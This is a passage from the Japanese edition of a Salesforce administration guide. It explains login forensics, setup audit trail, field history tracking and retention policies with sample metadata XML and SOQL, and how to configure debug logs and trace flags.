組織へのユーザログインの単一インスタンス。ログインイベントは、Salesforce のログイン履歴と似ていま
す。ただし、ログインイベントに HTTP ヘッダー情報を追加して拡張することができます。
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ログイン履歴
ログイン履歴は、システム管理者が情報を .cvs または .gzip ファイルにダウンロードして取得できま
す。[設定] および API からアクセスできます。このデータには、インデックス付けと履歴の制限がありま
す。

システム管理者は LoginEvent オブジェクトを使用して行動を追跡できます。ログインフォレンジック用のユー
ザインターフェースはありません。Force.com IDE、ワークベンチ、その他の開発ツールを使用して、この機能
を操作します。

メモ: ログインフォレンジックは政府機関の POD では使用できません。

ログインフォレンジックを使用する場合の考慮事項
ログインフォレンジックの使用を開始する前に、使用時の考慮事項に留意してください。
ログインフォレンジックの有効化
この 1 回限りの迅速な設定を実行して、組織のログインイベントに関するデータの収集を開始します。

ログインフォレンジックを使用する場合の考慮事項

エディション

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ログインフォレンジックの使用を開始する前に、使用時の考慮事項に留意して
ください。
• この機能は、API 専用です。ユーザインターフェースではイベントを表示で

きません。
• ログインイベントは、デフォルトで 10 年間保持されます。
• ログインフォレンジックでは、Apexの @futureコールのような非同期キュー

テクノロジが使用されるため、クエリ時にログインデータが遅延する可能性
があります。

ログインフォレンジックの有効化

ユーザ権限

ログインフォレンジック
を有効にする
• 「すべてのデータの編

集」

この 1 回限りの迅速な設定を実行して、組織のログインイベントに関するデー
タの収集を開始します。
[設定] 領域の [イベント監視設定] ページからログインフォレンジックを有効にで
きます。
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トレーニング履歴の監視 (この機能は、現在日本のお客様に対してサ
ポートしていません)

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

ユーザ権限

トレーニング履歴を参照
する
• 「ユーザの管理」

システム管理者は、自分のチームが Salesforce の使い方を効率よく学習している
かどうかを把握する必要があります。トレーニングクラスの履歴では、ユーザ
の受講したすべての Salesforce トレーニングクラスが表示されます。
システム管理者は、[設定] から [クイック検索]ボックスに「トレーニング履歴」
と入力し、[トレーニング履歴]を選択して、トレーニングクラスの履歴を表示で
きます。ユーザは、トレーニングコースを受講した後、オンライントレーニン
グフィードバックフォームを送信して、トレーニングコースを受講したことを
トレーニング履歴に記録する必要があります。

メモ: このリンクが [ユーザの管理] の下に表示されない場合は、組織が新
しいシステムに移行済みです。[ヘルプ & トレーニング] の [私のケース] から
トレーニングレポートにアクセスするには、ヘルプ & トレーニングの管理
者である必要があります。このアクセス権限がない場合は、Salesforce まで
ご連絡ください。

設定の変更の監視
エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

監査履歴を参照する
• 「設定・定義を参照す

る」

設定変更履歴では、自分自身と他のシステム管理者が組織に対して行った最近
の設定の変更を追跡します。監査履歴は、複数のシステム管理者がいる組織で
特に役立ちます。
監査履歴を表示するには、[設定] から、[クイック検索]ボックスに「設定変更履
歴の参照」と入力し、[設定変更履歴の参照] を選択します。過去 180 日間にわた
る組織の設定履歴全体をダウンロードするには、[ダウンロード]をクリックしま
す。
履歴には、組織に対して行われた最新の設定変更が 20 件表示されます。変更実
施日、変更実施者、および変更内容が一覧表示されます。代理ユーザ (システム
管理者やカスタマーサポート担当者など) がエンドユーザに代わって設定変更を
行った場合、[代理ユーザ] 列に代理ユーザのユーザ名が表示されます。たとえ
ば、ユーザがシステム管理者にログインアクセス権限を与え、そのシステム管
理者が設定変更を行うと、システム管理者のユーザ名がリストに表示されます。
設定変更履歴では、次の設定の変更が追跡されます。

追跡される変更設定

管理 • 組織情報、言語やロケールなどのデフォルト設定、企業メッ
セージ
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追跡される変更設定

• マルチ通貨
• ユーザ、ポータルユーザ、ロール、権限セット、プロファイル
• ユーザのメールアドレス
• リンクとして送信したメール添付ファイルを削除
• メールフッター (作成、編集、削除など)

• レコードタイプ (レコードタイプの作成、レコードタイプ名の変更、プロファイルへの
レコードタイプの割り当てなど)

• ディビジョン (ディビジョンの作成、編集、移行、およびユーザのデフォルトディビ
ジョンの変更など)

• 証明書 (追加または削除)

• ドメイン名
• Salesforce の ID プロバイダとしての有効化または無効化

カスタマイズ • ユーザインターフェース設定 (折りたたみ可能なセクション、簡易作成、詳細のフロー
ト表示、関連リストのフロート表示リンクなど)

• ページレイアウト、アクションレイアウト、検索レイアウト
• コンパクトレイアウト
• Salesforce1 ナビゲーションメニュー
• インライン編集
• 数式、選択リストの値、項目属性 (自動採番項目の形式、項目管理可能性、暗号化項目

のマスキングなど) を含む、カスタム項目と項目レベルセキュリティ
• リードの設定、リード割り当てルール、リードキュー
• 活動設定
• サポート設定、営業時間、ケース割り当てとエスカレーションルール、ケースキュー
• Salesforce カスタマーサポートへの要求
• タブ名 (元のタブ名にリセットしたタブなど)

• カスタムアプリケーション (Salesforce コンソールアプリケーションなど)、カスタムオブ
ジェクト、カスタムタブ

• 契約の設定
• 売上予測の設定
• メール-to-ケース、オンデマンドメール-to-ケース (有効化または無効化)

• カスタムボタン、カスタムリンク、カスタム S コントロール (標準ボタンの上書きなど)

• ドラッグアンドドロップによるスケジュール (有効化または無効化)

• 類似商談 (有効化、無効化、カスタマイズ)

• 見積 (有効化または無効化)

• データカテゴリグループ、データカテゴリ、オブジェクトへのカテゴリグループの割
り当て
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追跡される変更設定

• 記事タイプ
• カテゴリグループ、カテゴリ
• Salesforce ナレッジの設定
• アイデアの設定
• アンサー設定
• フィードの項目追跡
• キャンペーンインフルエンスの設定
• 重要な更新 (有効化または無効化)

• Chatter メール通知 (有効化または無効化)

• 招待およびメールドメインの Chatter の新規ユーザ作成設定 (有効化または無効化)

• 入力規則

セキュリティと
共有

• 公開グループ、共有ルール、組織単位の共有 ([階層を使用したアクセス許可] オプショ
ンなど)

• パスワードポリシー
• パスワードのリセット
• セッションの設定 (セッションタイムアウトなど。[セッションタイムアウトの開始条

件]および[ログインに必要なセッションセキュリティレベル]プロファイル設定は除く)

• 代理管理グループ、代理管理者が管理できるアイテム (代理管理者が行った設定変更も
追跡する)

• Lightning Login (有効化、無効化、登録、キャンセル)

• ユーザが自分のごみ箱と組織のごみ箱から空にしたレコードの数
• SAML (Security Assertion Markup Language) の設定
• Salesforce 証明書
• ID プロバイダ (有効化または無効化)

• 指定ログイン情報
• サービスプロバイダ
• Shield プラットフォームの暗号化の設定

データの管理 • 一括削除の使用 (一括削除がユーザのごみ箱の削除レコード制限を超えた場合など)

• データエクスポートの要求
• 一括変更の使用
• レポート作成スナップショット (レポート作成スナップショットのソースレポートまた

は対象オブジェクトの定義、削除、変更など)

• データインポートウィザードの使用
• Sandbox の削除
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追跡される変更設定

開発 • Apex クラスおよびトリガ
• Visualforce ページ、カスタムコンポーネント、静的リソース
• Lightning ページ
• アクションリンクテンプレート
• カスタム設定
• カスタムメタデータ型、カスタムメタデータレコード
• リモートアクセスの定義
• Force.com サイトの設定

さまざまな設定 • API 使用制限通知 (作成)

• テリトリー
• プロセスの自動化設定
• 承認プロセス
• ワークフローアクション (作成または削除)

• Visual Workflow ファイル
• Force.com AppExchange からインストールまたはアンインストールしたパッケージ

アプリケーショ
ンの使用

• 取引先チームセリングと商談チームセリングの設定
• Google Apps サービスの有効化
• データセット、モバイルビュー、除外項目などのモバイル設定
• パートナーユーザとしてパートナーポータルにログインしている「外部ユーザの管理」

権限を持つユーザ
• カスタマーポータルユーザとしてSalesforceカスタマーポータルにログインしている「セ

ルフサービスユーザの編集」権限を持つユーザ
• パートナーポータル取引先 (有効化または無効化)

• Salesforce カスタマーポータル取引先 (無効化)

• Salesforce カスタマーポータル (有効化または無効化)

• 複数のカスタマーポータルの作成
• エンタイトルメントプロセス、エンタイトルメントテンプレート (変更または作成)

• Salesforce カスタマーポータルのセルフ登録 (有効化または無効化)

• カスタマーポータルまたはパートナーポータルのユーザ (有効化または無効化)

関連トピック:

セキュリティヘルスチェック
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項目履歴管理
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

標準オブジェクトは
Database.com Edition では
使用できません。

特定の項目を選択して、オブジェクトの [履歴] 関連リストの項目履歴を追跡お
よび表示できます。項目履歴データは、最長 18 か月間保持されます。
カスタムオブジェクトおよび次の標準オブジェクトの項目履歴を追跡できます。
• 取引先
• 記事
• 納入商品
• ケース
• 取引先責任者
• 契約
• 契約品目名
• エンタイトルメント
• リード
• 商談
• 注文
• 注文商品
• 商品
• サービス契約
• ソリューション
ユーザがこれらの項目を変更すると、エントリが [履歴] 関連リストに追加されます。履歴は、変更の日付、時
刻、変更内容、変更者で構成されます。すべての項目種別が履歴トレンドレポートで使用できるわけではあり
ません。ケースのエスカレーションなど、特定の変更は必ず追跡されます。

メモ: 項目履歴の追加によって現在の制限を超えた場合、Spring '15 リリース以降は項目監査履歴アドオン
を購入する必要があります。アドオン登録が有効になると、製品に関連付けられた保持ポリシーを反映
して項目履歴ストレージが変更されます。組織が 2011 年 6 月より前に作成され、項目履歴の制限が静的
のままになっている場合、Salesforceでは制限なしで項目履歴が保持されます。組織が 2011 年 6 月以降に作
成され、アドオンを購入しない場合、項目履歴は最長 18 か月間保持されます。

項目履歴管理を使用する場合は、次の点を考慮してください。
• 255 文字を超える項目に対する変更は、編集済みとして追跡され、元の値と新しい値は記録されません。
• 追跡された項目の値は、自動的には翻訳されません。それらの値は、作成された際の言語で表示されます。

たとえば、項目が「Green」から「Verde」に変更された場合、その項目の値がトランスレーションワーク
ベンチを使用して他の言語に翻訳されていない限り、ユーザの言語に関係なく「Verde」が表示されます。
これは、レコードタイプおよび選択リスト値にも同様に適用されます。

• トランスレーションワークベンチで翻訳済みのカスタム項目ラベルに対する変更は、[履歴] 関連リストを
参照しているユーザのロケールに合わせて表示されます。たとえば、カスタム項目ラベルが Redで、スペ
イン語では Rojoと翻訳されている場合、スペインロケールのユーザにはそのカスタム項目ラベルが Rojo

と表示されます。それ以外のユーザには、そのカスタム項目ラベルが Red と表示されます。
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• データ項目、数値項目および標準項目に対する変更は、[履歴] 関連リストを参照しているユーザのロケー
ルに合わせて表示されます。たとえば、日付を 2012 年 8 月 5 日に変更すると、英語 (アメリカ) ロケー
ルのユーザには 8/5/2012 と表示され、英語 (イギリス) ロケールのユーザには 5/8/2012 と表示されま
す。

• トリガによってオブジェクトに変更が加えられ、現在のユーザに編集権限がない場合、項目履歴では現在
のユーザの権限が優先されるため、その変更は追跡されません。

標準オブジェクトの項目履歴管理
オブジェクトの管理設定で標準オブジェクトの項目履歴管理を有効にできます。
カスタムオブジェクトの項目履歴管理
オブジェクトの管理設定でカスタムオブジェクトの項目履歴管理を有効にできます。
項目履歴管理の無効化
オブジェクトの管理設定から項目履歴管理を無効にできます。
項目監査履歴
項目監査履歴では、項目履歴管理とは関係なく、最長 10 年間までのアーカイブ済み項目履歴データを保持
するポリシーを定義できます。この機能により、監査機能とデータ保持に関する業界の規制に準拠できま
す。

関連トピック:

標準オブジェクトの項目履歴管理
カスタムオブジェクトの項目履歴管理
項目監査履歴
項目履歴管理の無効化
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標準オブジェクトの項目履歴管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

標準オブジェクトは
Database.com Edition では
使用できません。

ユーザ権限

追跡する項目を設定する
• 「アプリケーションの

カスタマイズ」

オブジェクトの管理設定で標準オブジェクトの項目履歴管理を有効にできます。
法人取引先と個人取引先の両方を使用している場合は、取引先の項目履歴管理
を有効化する前に次のことを確認してください。
• 取引先の項目履歴管理は、法人取引先と個人取引先の両方に対して実行され

ます。
• 個人取引先の項目履歴管理を有効化しても、個人の取引先責任者の項目履歴

管理は有効化されません。
必要に応じて、項目履歴管理を設定します。
1. 項目履歴を追跡するオブジェクトの管理設定から、項目領域に移動します。
2. [項目履歴管理の設定] をクリックします。

ヒント: オブジェクトの項目管理を有効にするときは、ページレイアウ
トをカスタマイズして、オブジェクトの [履歴] 関連リストを含めます。

3. 取引先、取引先責任者、リード、および商談の場合は、[取引先履歴の有効
化]、[取引先責任者履歴の有効化]、[リード履歴の有効化]、または [商談履
歴を有効化] チェックボックスをそれぞれオンにします。

4. 履歴管理する項目を選択します。
オブジェクトごとに、標準項目とカスタム項目を合わせて最大20項目まで選
択できます。この制限には、法人取引先と個人取引先の項目の数も含まれま
す。
ケースのエスカレーションなど、特定の変更は必ず追跡されます。
次の項目は追跡できません。
• 数式項目、積み上げ集計項目、または自動採番項目
• [作成者] および [最終更新者]

• 商談の [期待収益] 項目
• 項目の [マスタソリューション名] または [マスタソリューション詳細] 項目。多言語ソリューションが

有効な組織の翻訳ソリューションにのみ表示されます。

5. [保存] をクリックします。
Salesforce は、この日時から履歴を追跡します。この日時以前の変更は履歴に含まれません。

関連トピック:

項目履歴管理
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カスタムオブジェクトの項目履歴管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

標準オブジェクトは
Database.com Edition では
使用できません。

ユーザ権限

追跡する項目を設定する
• 「アプリケーションの

カスタマイズ」

オブジェクトの管理設定でカスタムオブジェクトの項目履歴管理を有効にでき
ます。
1. カスタムオブジェクトの管理設定から、[編集] をクリックします。
2. [項目履歴管理] チェックボックスをオンにします。

ヒント: オブジェクトの項目管理を有効にするときは、ページレイアウ
トをカスタマイズして、オブジェクトの [履歴] 関連リストを含めます。

3. 変更内容を保存します。
4. [カスタム項目 & リレーション] セクションにある [項目履歴管理の設定] をク

リックします。
このセクションでは、標準項目とカスタム項目の両方のカスタムオブジェク
トの履歴を設定できます。

5. 履歴管理する項目を選択します。
オブジェクトごとに、標準項目とカスタム項目を最大20項目まで選択できま
す。次のものは追跡できません。
• 数式項目、積み上げ集計項目、または自動採番項目
• [作成者] および [最終更新者]

6. [保存] をクリックします。
Salesforce は、この日時から履歴を追跡します。この日時以前の変更は履歴に
含まれません。

関連トピック:

項目履歴管理
オブジェクト管理設定の検索
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項目履歴管理の無効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

標準オブジェクトは
Database.com Edition では
使用できません。

ユーザ権限

追跡する項目を設定する
• 「アプリケーションの

カスタマイズ」

オブジェクトの管理設定から項目履歴管理を無効にできます。

メモ: Apex がオブジェクトのいずれかの項目を参照している場合は、その
オブジェクトの項目履歴管理を無効にできません。

1. 項目履歴管理を停止するオブジェクトの管理設定から、[項目] に移動します。
2. [項目履歴管理の設定] をクリックします。
3. 作業しているオブジェクトの[履歴の有効化] ([取引先履歴の有効化]、[取引先

責任者履歴の有効化]、[リード履歴の有効化]、[商談履歴を有効化]など) を選
択解除します。
[履歴] 関連リストが、関連付けられているオブジェクトのページレイアウト
から自動的に削除されます。
標準オブジェクトの項目履歴管理を無効にしても、無効にした日時までの項
目履歴データをレポートできます。カスタムオブジェクトの項目履歴管理を
無効にした場合は、その項目履歴をレポートできません。

4. 変更内容を保存します。

関連トピック:

項目履歴管理
オブジェクト管理設定の検索

項目監査履歴

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

項目履歴の保持ポリシー
を指定する
• 「項目履歴の保持」

項目監査履歴では、項目履歴管理とは関係なく、最長 10 年間までのアーカイブ
済み項目履歴データを保持するポリシーを定義できます。この機能により、監
査機能とデータ保持に関する業界の規制に準拠できます。
Salesforceメタデータ APIを使用して、項目履歴の保持ポリシーを定義します。次
に、REST API、SOAP API、および Tooling API を使用して、アーカイブデータを処理
します。項目監査履歴の有効化についての詳細は、Salesforce の担当者にお問い
合わせください。
項目履歴は [履歴] 関連リストから FieldHistoryArchive オブジェクトにコ
ピーされた後に、[履歴] 関連リストから削除されます。関連履歴リストに 1 つの
HistoryRetentionPolicy  (取引先履歴など) を定義し、アーカイブするオブ
ジェクトのさまざまな項目監査履歴保持ポリシーを指定します。これで、メタ
データ API (ワークベンチまたは Force 移行ツール) を使用して、オブジェクトをリ
リースできます。オブジェクトの保持ポリシーは必要な頻度で更新できます。
項目履歴の保持ポリシーは次のオブジェクトに設定できます。
• 取引先
• ケース
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• 取引先責任者
• リード
• 商談
• 納入商品
• エンタイトルメント
• サービス契約
• 契約品目名
• ソリューション
• 商品
• 価格表
• 項目履歴管理が有効なカスタムオブジェクト

メモ: HistoryRetentionPolicy は、項目監査履歴が有効化されると自動的に上記のオブジェクトに設
定されます。デフォルトでは、本番組織では 18 か月後、Sandbox 組織では 1 か月後にデータがアーカイブ
され、アーカイブされたすべてのデータは 10 年間保存されます。

管理パッケージや未管理パッケージに項目履歴の保持ポリシーを含めることができます。
次の項目は、追跡できません。
• 数式項目、積み上げ集計項目、または自動採番項目
• 作成者および最終更新者
• 商談の [期待収益] 項目
• ソリューションの [マスタソリューション名] 項目または [マスタソリューション詳細] 項目
• ロングテキスト項目
• 複数選択項目
項目監査履歴ポリシーを定義およびリリースすると、本番データが関連履歴リスト (取引先履歴など) から
FieldHistoryArchive オブジェクトに移行されます。最初のコピーは、ポリシーで定義された項目履歴を
アーカイブストレージに書き込みます。これには時間がかかる場合があります。その後のコピーは前回のコ
ピー以降の変更のみが転送されるため、高速に処理されます。アーカイブデータのクエリには、限られた SOQL

のセットを使用できます。

メモ: 最初の正式リリース後の一定期間は、データが [履歴] 関連リストから自動的に削除されず、
FieldHistoryArchiveオブジェクトと [履歴] 関連リストの両方に表示される場合があります。Salesforce

は、今後のリリースにおいて顧客が定義したポリシーに従って [履歴] 関連リストからアーカイブデータを
削除する権利を留保します。

メモ: 組織で項目監査履歴を有効にしている場合、プラットフォームの暗号化を後から有効にしても、以
前にアーカイブ済みのデータは暗号化されません。たとえば、組織では、電話番号項目などの取引先項
目に対してデータ履歴保持ポリシーを定義するために項目監査履歴を使用します。プラットフォームの
暗号化を有効にした後で、その項目の暗号化を有効にすると、取引先の電話番号データが暗号化されま
す。新しい電話番号レコードは作成時に暗号化され、[取引先履歴] 関連リストに保存された電話番号項目
への以前の更新も暗号化されます。ただし、FieldHistoryArchive オブジェクトにアーカイブ済みの
電話番号履歴データは、引き続き暗号化されずに保存されます。組織で以前にアーカイブしたデータを
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暗号化する必要がある場合は、Salesforce にお問い合わせください。保存された項目履歴データを暗号化
し、再度アーカイブしてから、暗号化されていないアーカイブを削除します。

例

関連トピック:

SOAP API 開発者ガイド: FieldHistoryArchive

メタデータ API 開発者ガイド: HistoryRetentionPolicy

ISVforce ガイド: パッケージの概要
Force.com SOQL および SOSL リファレンス: アーカイブデータを使用した SOQL

例

項目履歴のデータ保持ポリシーを設定する
この例は、メタデータ API を使用して項目履歴データ保持ポリシーを設定する方法を示します。メタデータの
編集は、デフォルトのポリシー値 (本番ストレージは 18 か月、アーカイブストレージは 10 年) を上書きする場
合にのみ必要です。データ保持ポリシーを設定する場合、メタデータパッケージの作成とリリースも行いま
す。パッケージは、各オブジェクトの保持ポリシーを定義する XML が保存されている objects フォルダが含
まれる .zip ファイルと、使用するオブジェクトと API バージョンがリストされたプロジェクトマニフェスト
で構成されます。

メモ: 最初のコピーでは、ポリシーで定義された項目履歴全体がアーカイブストレージに書き込まれま
す。これには時間がかかる場合があります。その後のコピーでは、前回のコピー以降の変更のみが転送
されるため、処理時間は大幅に短くなります。

1. 各オブジェクトの項目履歴データ保持ポリシーを定義します。ポリシーには、Salesforce に項目履歴を保持
する月数と、アーカイブに項目履歴を保持する年数を指定します。次のサンプルファイルでは、6 か月後に
オブジェクトをアーカイブし、アーカイブを 5 年間保持するポリシーを定義します。
<?xml version="1.0" encoding="UTF-8"?>
<CustomObject xmlns="http://soap.sforce.com/2006/04/metadata">

<historyRetentionPolicy>
<archiveAfterMonths>6</archiveAfterMonths>
<archiveRetentionYears>5</archiveRetentionYears>
<description>My field history retention</description>

</historyRetentionPolicy>
<fields>

<fullName>AccountSource</fullName>
...
</CustomObject>

ファイル名によって、ポリシーが適用されるオブジェクトが決まります。たとえば、上記のポリシーを取
引先オブジェクトに適用するには、ファイルを Account.objectという名前で保存します。既存のカスタ
ムオブジェクトの場合も同様に、カスタムオブジェクトに従ってファイル名を付けます。たとえば、
myObject__c.object です。
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2. プロジェクトマニフェストを作成します。これは package.xml という名前の XML ファイルです。次のサ
ンプルファイルには、データ保持ポリシーの適用対象となる複数のオブジェクトがリストされています。
このマニフェストファイルを使用すると、オブジェクトフォルダには 5 つのファイル (Account.object、
Case.object など) が含まれます。
<?xml version="1.0" encoding="UTF-8"?>
<Package xmlns="http://soap.sforce.com/2006/04/metadata">

<types>
<members>Account</members>
<members>Case</members>
<members>Contact</members>
<members>Lead</members>
<members>Opportunity</members>

</types>
<version>32.0</version>

</Package>

3. .zip ファイルを作成し、deploy() 関数を使用して変更を本番環境にリリースします。詳細は、『メタ
データ API ガイド』を参照してください。

メモ: このパイロットでは、Sandbox から本番環境へのリリースはサポートしていません。

完成です。作成した項目履歴保持ポリシーは、設定した期間に従って有効になります。

カスタムオブジェクトの作成と項目履歴保持ポリシーの設定を同時に行う
メタデータ API を使用してカスタムオブジェクトの作成と保持ポリシーの設定を同時に行うことができます。
新しいカスタムオブジェクトを作成するときには、最小限必要な項目を指定する必要があります。オブジェク
トを作成して項目履歴保持ポリシーを設定するサンプル XML を次に示します。
<?xml version="1.0" encoding="UTF-8"?>
<CustomObject xmlns="http://soap.sforce.com/2006/04/metadata">

<deploymentStatus>Deployed</deploymentStatus>
<enableHistory>true</enableHistory>
<description>just a test object with one field for eclipse ide testing</description>
<historyRetentionPolicy>

<archiveAfterMonths>3</archiveAfterMonths>
<archiveRetentionYears>10</archiveRetentionYears>
<gracePeriodDays>1</gracePeriodDays>
<description>Transaction Line History</description>

</historyRetentionPolicy>
<fields>

<fullName>Comments__c</fullName>
<description>add your comments about this object here</description>

<inlineHelpText>This field contains comments made about this object</inlineHelpText>

<label>Comments</label>
<length>32000</length>
<trackHistory>true</trackHistory>
<type>LongTextArea</type>
<visibleLines>30</visibleLines>

</fields>
<label>MyFirstObject</label>
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<nameField>
<label>MyFirstObject Name</label>
<type>Text</type>

</nameField>
<pluralLabel>MyFirstObjects</pluralLabel>
<sharingModel>ReadWrite</sharingModel>

</CustomObject>

追跡する項目の trackHistory を true に設定し、追跡しない項目は false に設定します。

項目履歴のデータ保持ポリシーを更新する
項目履歴のデータ保持ポリシーがすでにオブジェクトに定義されている場合、そのオブジェクトのメタデータ
で HistoryRetentionPolicy に新しい値を指定してポリシーを更新できます。メタデータの変更をリリー
スしたら、新しいポリシーで古いポリシーが上書きされます。

メモ: オブジェクトの現在のデータ保持ポリシーを確認するには、メタデータ APIを使用してそのメタデー
タを取得し、HistoryRetentionPolicy の値を調べます。

アーカイブデータをクエリする
アーカイブデータを取得するには、SOQL クエリを FieldHistoryArchive オブジェクトに対して実行しま
す。FieldHistoryType、ParentId、および CreatedDate 項目をこの順序で指定していれば、これらの項
目に基づいて絞り込むことができます。以下に例を示します。
SELECT ParentId, FieldHistoryType, Field, Id, NewValue, OldValue FROM FieldHistoryArchive
WHERE FieldHistoryType = ‘Account’ AND ParentId=’906F000000

関連トピック:

メタデータ API 開発者ガイド: deploy()

メタデータ API 開発者ガイド: CustomObject

Force.com SOQL および SOSL リファレンス: アーカイブデータを使用した SOQL

1210

項目履歴管理Salesforce 組織の設定および管理

https://developer.salesforce.com/docs/atlas.ja-jp.206.0.api_meta.meta/api_meta/meta_deploy.htm
https://developer.salesforce.com/docs/atlas.ja-jp.206.0.api_meta.meta/api_meta/customobject.htm
https://developer.salesforce.com/docs/atlas.ja-jp.206.0.api_meta.meta/api_meta/field_history_soql.htm


デバッグログの監視
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

Salesforce ユーザインター
フェースおよびメール
サービスは、
Database.com Edition では
利用できません。

ユーザ権限

デバッグログを参照、保
持、および削除する
• 「ユーザの管理」

開発者コンソールまたは [設定] でユーザ、Apex クラス、および Apex トリガのロ
グをトリガするように追跡フラグを設定します。結果のログを監視して、組織
の問題を診断します。
自分自身を含む特定ユーザ、クラス、およびトリガのデバッグログを保持およ
び管理できます。クラスおよびトリガの追跡フラグを設定してもログの生成や
保存は行われません。クラスおよびトリガの追跡フラグによって他のログレベ
ル (ユーザ追跡フラグによって設定されたログレベルなど) が上書きされますが、
ログが記録されることはありません。クラスまたはトリガが実行されたときに
ログ記録が有効であれば、実行時にログが生成されます。

デバッグログの設定
ユーザ、Apexクラス、およびApexトリガのデバッグログを有効にするには、
開発者コンソールまたは [設定] で追跡フラグとデバッグレベルを設定しま
す。各追跡フラグには、デバッグレベル、開始時刻、終了時刻、ログ種別が
含まれます。追跡フラグのログ種別では、追跡するエンティティを指定しま
す。
デバッグログの表示
デバッグログには、各トランザクションに関する情報 (トランザクションが
成功したかどうかや所要時間など) が格納されています。追跡フラグで設定
された条件に応じて、ログにはトランザクションに関するさまざまな詳細レ
ベルが含まれます。

デバッグログの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

デバッグログを参照、保
持、および削除する
• 「ユーザの管理」

ユーザ、Apex クラス、および Apex トリガのデバッグログを有効にするには、開
発者コンソールまたは [設定] で追跡フラグとデバッグレベルを設定します。各
追跡フラグには、デバッグレベル、開始時刻、終了時刻、ログ種別が含まれま
す。追跡フラグのログ種別では、追跡するエンティティを指定します。
自分自身を含む特定ユーザ、クラス、およびトリガのデバッグログを保持およ
び管理できます。クラスおよびトリガの追跡フラグを設定してもログの生成や
保存は行われません。クラスおよびトリガの追跡フラグによって他のログレベ
ル (ユーザ追跡フラグによって設定されたログレベルなど) が上書きされますが、
ログが記録されることはありません。クラスまたはトリガが実行されたときに
ログ記録が有効であれば、実行時にログが生成されます。
デバッグログに関する制限は次のとおりです。
• 各デバッグログは最大2 MBです。デバックログのサイズが2 MBを超えると、

System.debugステートメントの始めの方のログの行など、古いログの行が
削除されてサイズが縮小されます。ログの行は、デバッグログの最初からだ
けでなく、どの位置からでも削除できます。

• 各組織は最大 50 MB のデバッグログを保持できます。組織のデバッグログが
50 MB に達すると、最も古いデバッグログから上書きされます。
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開発者コンソールでの追跡フラグの設定
開発者コンソールから追跡フラグおよびデバッグレベルを設定するには、[Debug (デバッグ)] > [Change Log Levels

(ログレベルを変更)] をクリックします。次の操作を実行します。
• 追跡フラグを作成するには、[Add (追加)] をクリックします。
• 既存の追跡フラグの期間を編集するには、その開始時刻または終了時刻をダブルクリックします。
• 追跡フラグのデバッグレベルを変更するには、[Debug Level Action (デバッグレベルアクション)] 列の[Add/Change

(追加/変更)]をクリックします。次に、既存のデバッグレベルの編集、デバッグレベルの作成または削除、
および追跡フラグへのデバッグレベルの割り当てを行うことができます。デバッグレベルを削除すると、
そのレベルを使用するすべての追跡フラグが削除されます。

[設定] での追跡フラグの作成
1. [設定] から、[クイック検索] ボックスに「デバッグログ」と入力し、[デバッグログ] をクリックします。
2. [新規] をクリックします。
3. 追跡するエンティティ、ログを収集する期間、デバッグレベルを選択します。デバッグレベルは、データ

ベース、ワークフロー、入力規則などのデバッグログカテゴリのログレベルのセットです。デバッグレベ
ルは、追跡フラグ間で再利用できます。

[設定] での追跡フラグの表示、編集、削除
[設定] から追跡フラグを管理するには、次の操作を実行します。
1. 適切な [設定] ページに移動します。

• ユーザベースの追跡フラグの場合、[クイック検索]ボックスに「デバッグログ」と入力し、[デバッグロ
グ] をクリックします。
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• クラスベースの追跡フラグの場合、[クイック検索] ボックスに「Apex クラス」と入力し、[Apex クラ
ス] をクリックしてクラスの名前をクリックし、[追跡フラグ] をクリックします。

• トリガベースの追跡フラグの場合、[クイック検索] ボックスに「Apex トリガ」と入力し、[Apex トリ
ガ] をクリックしてトリガの名前をクリックし、[追跡フラグ] をクリックします。

2. [設定] ページから [アクション] 列のオプションをクリックします。
• 追跡フラグを削除するには、[削除] をクリックします。
• 追跡フラグを変更するには、[編集] をクリックします。
• 追跡フラグのデバッグレベルを変更するには、[検索条件] をクリックします。
• デバッグレベルを作成するには、[編集] をクリックして、[新しいデバッグレベル] をクリックします。

[設定] でのデバッグレベルの設定
[設定] からデバッグレベルを管理するには、[クイック検索]ボックスに「デバッグレベル」と入力し、[デバッ
グレベル] をクリックします。デバッグレベルを編集または削除するには、[アクション] 列のオプションをク
リックします。デバッグレベルを作成するには、[新規] をクリックします。

ゲストユーザのデバッグログの収集
一般ユーザは大量のイベントを生成するため、すぐにデバッグログがいっぱいになります。このため、一般
ユーザのブラウザに特別な Cookie が含まれている場合に限り、ゲストユーザライセンスを使用するサイト訪問
者に関してログが収集されます。非同期要求にはブラウザ Cookie が含まれないため、公開ユーザの非同期アク
ティビティのログは使用できません。
ゲストユーザの非同期アクティビティのログを有効にする手順は、次のとおりです。
1. ユーザに、.force.com のドメイン、debug_logs の名前、および任意の値を使用してブラウザ Cookie を

設定するように要求します。カスタムドメインを使用している場合は、ユーザに、.force.com ではなく
ドメインの Cookie を設定するように要求します。Cookie の追加の詳細については、ユーザのブラウザのド
